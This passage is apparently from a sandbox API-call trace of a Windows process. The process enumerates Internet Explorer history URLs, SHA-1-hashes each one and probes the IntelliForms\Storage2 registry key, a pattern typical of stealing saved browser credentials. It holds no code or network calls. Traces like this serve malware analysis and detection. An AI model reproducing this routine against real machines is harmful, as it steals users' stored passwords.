ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.930] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.930] LocalFree (hMem=0x28e7910) returned 0x0 [0097.930] CoTaskMemFree (pv=0x28c9840) [0097.931] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.931] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/NPKnafg%20svyW-4p.rtf", lpSrch="?") returned 0x0 [0097.931] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.931] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.931] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/NPKnafg%20svyW-4p.rtf") returned 71 [0097.931] CryptHashData (hHash=0x7203df0, pbData=0x28c9840, dwDataLen=0x90, dwFlags=0x0) returned 1 [0097.931] CryptGetHashParam (in: hHash=0x7203df0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.931] CryptDestroyHash (hHash=0x7203df0) returned 1 [0097.931] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.931] CoTaskMemFree (pv=0x28c9840) [0097.932] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.932] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/8UJYk.ods", lpSrch="?") returned 0x0 [0097.932] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.932] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.932] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/8UJYk.ods") returned 59 [0097.932] CryptHashData (hHash=0x7203df0, pbData=0x71e7820, dwDataLen=0x78, dwFlags=0x0) returned 1 [0097.932] CryptGetHashParam (in: hHash=0x7203df0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.932] CryptDestroyHash (hHash=0x7203df0) returned 1 [0097.932] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.932] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.932] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.933] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.933] LocalFree (hMem=0x28e7670) returned 0x0 [0097.933] CoTaskMemFree (pv=0x71e7820) [0097.933] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.933] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Tlfrf.pdf", lpSrch="?") returned 0x0 [0097.933] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.933] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.933] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/Tlfrf.pdf") returned 59 [0097.933] CryptHashData (hHash=0x72035a0, pbData=0x72132d0, dwDataLen=0x78, dwFlags=0x0) returned 1 [0097.933] CryptGetHashParam (in: hHash=0x72035a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.934] CryptDestroyHash (hHash=0x72035a0) returned 1 [0097.934] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.934] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.934] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.934] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.934] LocalFree (hMem=0x28e7910) returned 0x0 [0097.934] CoTaskMemFree (pv=0x72132d0) [0097.934] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.934] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/OkRs5XPatJ-lBBsZ.bmp", lpSrch="?") returned 0x0 [0097.934] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.935] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.935] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/OkRs5XPatJ-lBBsZ.bmp") returned 55 [0097.935] CryptHashData (hHash=0x72035a0, pbData=0x72132d0, dwDataLen=0x70, dwFlags=0x0) returned 1 [0097.935] CryptGetHashParam (in: hHash=0x72035a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.935] CryptDestroyHash (hHash=0x72035a0) returned 1 [0097.935] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.935] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.935] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.935] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.935] LocalFree (hMem=0x28e7670) returned 0x0 [0097.935] CoTaskMemFree (pv=0x72132d0) [0097.935] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.935] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/Fgu3.rtf", lpSrch="?") returned 0x0 [0097.935] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.936] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.936] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/Fgu3.rtf") returned 44 [0097.936] CryptHashData (hHash=0x7203ae0, pbData=0x7203300, dwDataLen=0x5a, dwFlags=0x0) returned 1 [0097.936] CryptGetHashParam (in: hHash=0x7203ae0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.936] CryptDestroyHash (hHash=0x7203ae0) returned 1 [0097.936] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.936] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.936] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.936] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.936] LocalFree (hMem=0x28e7910) returned 0x0 [0097.936] CoTaskMemFree (pv=0x7203300) [0097.936] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.936] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7I2Otue.odt", lpSrch="?") returned 0x0 [0097.936] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.937] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.937] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/XhQD94br1271W/7I2Otue.odt") returned 61 [0097.937] CryptHashData (hHash=0x7203300, pbData=0x7187800, dwDataLen=0x7c, dwFlags=0x0) returned 1 [0097.937] CryptGetHashParam (in: hHash=0x7203300, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.937] CryptDestroyHash (hHash=0x7203300) returned 1 [0097.937] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0097.937] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.937] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.937] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.937] LocalFree (hMem=0x28e7670) returned 0x0 [0097.937] CoTaskMemFree (pv=0x7187800) [0097.937] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.937] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/PZfAW1K-b_tgtbasrand.ots", lpSrch="?") returned 0x0 [0097.937] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.039] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.039] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/PZfAW1K-b_tgtbasrand.ots") returned 66 [0098.039] CryptHashData (hHash=0x72043a0, pbData=0x7185c70, dwDataLen=0x86, dwFlags=0x0) returned 1 [0098.039] CryptGetHashParam (in: hHash=0x72043a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.039] CryptDestroyHash (hHash=0x72043a0) returned 1 [0098.039] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.039] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.039] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.039] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.040] LocalFree (hMem=0x28e7910) returned 0x0 [0098.040] CoTaskMemFree (pv=0x7185c70) [0098.040] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.040] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/c2VYex-ql_WZAAkmz8qA.odp", lpSrch="?") returned 0x0 [0098.040] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.041] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.041] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/c2VYex-ql_WZAAkmz8qA.odp") returned 60 [0098.041] CryptHashData (hHash=0x72043a0, pbData=0x71876e0, dwDataLen=0x7a, dwFlags=0x0) returned 1 [0098.041] CryptGetHashParam (in: hHash=0x72043a0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.041] CryptDestroyHash (hHash=0x72043a0) returned 1 [0098.041] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.041] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.041] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.041] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.041] LocalFree (hMem=0x28e7670) returned 0x0 [0098.041] CoTaskMemFree (pv=0x71876e0) [0098.041] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.041] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/mlAx20rjOPn5Z.bmp", lpSrch="?") returned 0x0 [0098.041] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.042] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.042] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/SjMh/UxNpgcGIbmQ/mlAx20rjOPn5Z.bmp") returned 69 [0098.042] CryptHashData (hHash=0x7203450, pbData=0x28c9840, dwDataLen=0x8c, dwFlags=0x0) returned 1 [0098.042] CryptGetHashParam (in: hHash=0x7203450, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.042] CryptDestroyHash (hHash=0x7203450) returned 1 [0098.042] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.042] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.042] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.042] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.042] LocalFree (hMem=0x28e7910) returned 0x0 [0098.042] CoTaskMemFree (pv=0x28c9840) [0098.042] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.042] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/g4SN.xls", lpSrch="?") returned 0x0 [0098.042] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.043] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.043] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/g4SN.xls") returned 42 [0098.043] CryptHashData (hHash=0x72042c0, pbData=0x71e9120, dwDataLen=0x56, dwFlags=0x0) returned 1 [0098.043] CryptGetHashParam (in: hHash=0x72042c0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.043] CryptDestroyHash (hHash=0x72042c0) returned 1 [0098.043] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.043] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.043] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.043] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.043] LocalFree (hMem=0x28e7670) returned 0x0 [0098.043] CoTaskMemFree (pv=0x71e9120) [0098.043] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.044] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/8nF8FXicLEc5Ij.xls", lpSrch="?") returned 0x0 [0098.044] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.044] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.044] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/8nF8FXicLEc5Ij.xls") returned 52 [0098.044] CryptHashData (hHash=0x72042c0, pbData=0x7211750, dwDataLen=0x6a, dwFlags=0x0) returned 1 [0098.044] CryptGetHashParam (in: hHash=0x72042c0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.044] CryptDestroyHash (hHash=0x72042c0) returned 1 [0098.044] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.044] CoTaskMemFree (pv=0x7211750) [0098.044] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.044] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/odN690Uv.png", lpSrch="?") returned 0x0 [0098.045] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.045] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.045] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/odN690Uv.png") returned 54 [0098.045] CryptHashData (hHash=0x72042c0, pbData=0x7213450, dwDataLen=0x6e, dwFlags=0x0) returned 1 [0098.045] CryptGetHashParam (in: hHash=0x72042c0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.045] CryptDestroyHash (hHash=0x72042c0) returned 1 [0098.045] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.045] CoTaskMemFree (pv=0x7213450) [0098.045] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.045] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/3CvbZ27sNVNlEIcDr.png", lpSrch="?") returned 0x0 [0098.045] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.046] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.046] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/3CvbZ27sNVNlEIcDr.png") returned 63 [0098.046] CryptHashData (hHash=0x7202dc0, pbData=0x7222a80, dwDataLen=0x80, dwFlags=0x0) returned 1 [0098.046] CryptGetHashParam (in: hHash=0x7202dc0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.046] CryptDestroyHash (hHash=0x7202dc0) returned 1 [0098.046] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.046] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0098.046] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0098.046] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0098.046] LocalFree (hMem=0x28e7910) returned 0x0 [0098.046] CoTaskMemFree (pv=0x7222a80) [0098.046] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.047] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Documents/4rGyMG.docx", lpSrch="?") returned 0x0 [0098.047] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.047] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.047] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Documents/4rGyMG.docx") returned 47 [0098.047] CryptHashData (hHash=0x72045d0, pbData=0x72042c0, dwDataLen=0x60, dwFlags=0x0) returned 1 [0098.047] CryptGetHashParam (in: hHash=0x72045d0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0098.047] CryptDestroyHash (hHash=0x72045d0) returned 1 [0098.047] CryptReleaseContext (hProv=0x444ff60, dwFlags=0x0) returned 1 [0098.047] CoTaskMemFree (pv=0x72042c0) [0098.047] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0098.048] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/OZyz34.gif", lpSrch="?") returned 0x0 [0098.048] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0098.048] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0098.048] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Pictures/4bv6e%200zL/OZyz34.gif") returned 57 [0098.048] CryptHashData (hHash=0x7202b90, pbData=0x72128d0, dwDataLen=0x74, dwFlags=0x0) returned 1 [0098.048] CryptGetHashParam (in: 